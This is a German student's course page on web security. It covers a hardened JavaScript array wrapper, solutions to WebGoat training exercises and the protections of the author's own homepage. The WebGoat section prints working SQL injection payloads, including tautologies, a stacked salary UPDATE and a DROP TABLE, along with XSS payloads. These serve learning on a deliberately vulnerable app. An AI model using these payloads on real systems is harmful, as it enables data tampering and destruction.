12: Security

Sicherheit für alle


Auf dieser Seite

    12.1 Sicherer Array-Wrapper

    Ursachenanalyse

    Der Exploit ist möglich, da der ArrayWrapper alle Datentypen akzeptiert. Dadurch können nicht nur Number oder String Values hinzugefügt werden, sondern auch Funktionen. Zudem erfolgt bei der set Methode keine Überprüfung, ob der angegebene Index eine Zahl ist.

    Sicherheitskonzept

    Entsprechend der Analyse kann der ArrayWrapper wie folgt gesichert werden: (1) Prüfung auf undefined bzw. null in der set() Methode und (2) Prüfung auf den Datentypen in der set() Methode, sodass keine Funktionen erlaubt sind und als Index nur Zahlen.

    Array-Wrapper Implementierung

        
          
          function arrayWrapper() {
            let array = [];
    
            return {
              get: index => {
                return array[index];
              },
    
              set: (index, value) => {
                if (typeof index !== 'number' || !['string', 'number'].includes(typeof value)) {
                  return;
                }
                array[index] = value;
              },
    
              append: value => {
                array.push(value);
              }
            }
          }
        
        
      

    12.2 WebGoat Injection

    Lösungen

        
          
            SELECT department FROM employees WHERE userid = 96134;
    
            UPDATE employees SET department = 'Sales' WHERE userid = 96134;
    
            ALTER TABLE employees ADD phone varchar(20);
    
            GRANT ALL ON grant_rights TO unauthorized_user;
    
            SELECT * FROM user_data WHERE first_name = 'John' AND last_name = 'Smith' OR '1' = '1
          
        
      
    Login_Count: 0
    User_Id: 0 OR TRUE

    Employee Name: Smith
    TAN: 3SL99A' OR '1' = '1

    Employee Name: Smith
        
          
            TAN: 3SL99A'; UPDATE employees SET salary = 100000 where userid = '37648
    
            SELECT'; DROP TABLE access_log; SELECT * FROM access_log WHERE Action like '
          
        
      

    12.3 WebGoat XSS

    Lösungen

    Yes

    Credit card number field: <script>alert()</script>

    start.mvc#test

    start.mvc#test/%3Cscript%3Ewebgoat.customjs.phoneHome%28%29%3C%2Fscript%3E
    Output: -1248632573

    12.4. WebGoat Cross-Site Request Forgeries

    Lösungen

    38105

    12.5 Sicherheitskonzepte für die eigene Homepage

    Folgende Maßnahmen wurden getroffen, um die Homepage abzusichern.

    TLS-Verschlüsselung

    Die Webseite wird mithilfe von Netlify deployed. Dort wird jede Seite standardmäßig per TLS abgesichert, sodass jeglicher Datenaustausch über die Seite verschlüsselt wird. Ein Abfangen von Klardaten (z.B. aus dem Feedback-Form ist somit nicht möglich.

    HTML-Escaping

    Die Seite wurde mithilfe von NuxtJS erstellt, was VueJS als darunterliegendes Framework nutzt. Bei VueJS wird standardmäßig jeglicher Inhalt HTML-escaped. Das heißt, alle Eingaben, die z.B. in Input-Felder getätigt werden und dann auf der Seite gerendert werden, werden escaped. Ein Ausführen von Script-Blöcken ist somit nicht möglich.

    Escaping des ausgehenden Verkehrs

    Wird z.B. eine neue Nachricht über das Feedback-Form eingereicht, wird diese an Netlify weitergeleitet ( Netlify Forms ). Neben einem Honeypot-Feld werden die Daten zudem anschließend durch Akismet auf Spam untersucht und automatisch aussortiert.
    Die Daten, die letztendlich auf dem Server gespeichert werden, werden durch Netlify entsprechend gespeichert, sodass dort kein Ausführen von z.B. SQL-Ausdrücken möglich ist.

    CORS, XSS etc.

    Da - abseits von dem Feedback-Form - keinerlei Nutzerinteraktion bzgl. Datenverarbeitung möglich ist, bedarf es hier keinen zusätzlichen Sicherheitsmaßnahmen. Auch Nutzeridentifiaktionen, wie Cookies, werden nicht verwendet und müssen somit nicht geschützt werden.
    © Jona Ittermann 2022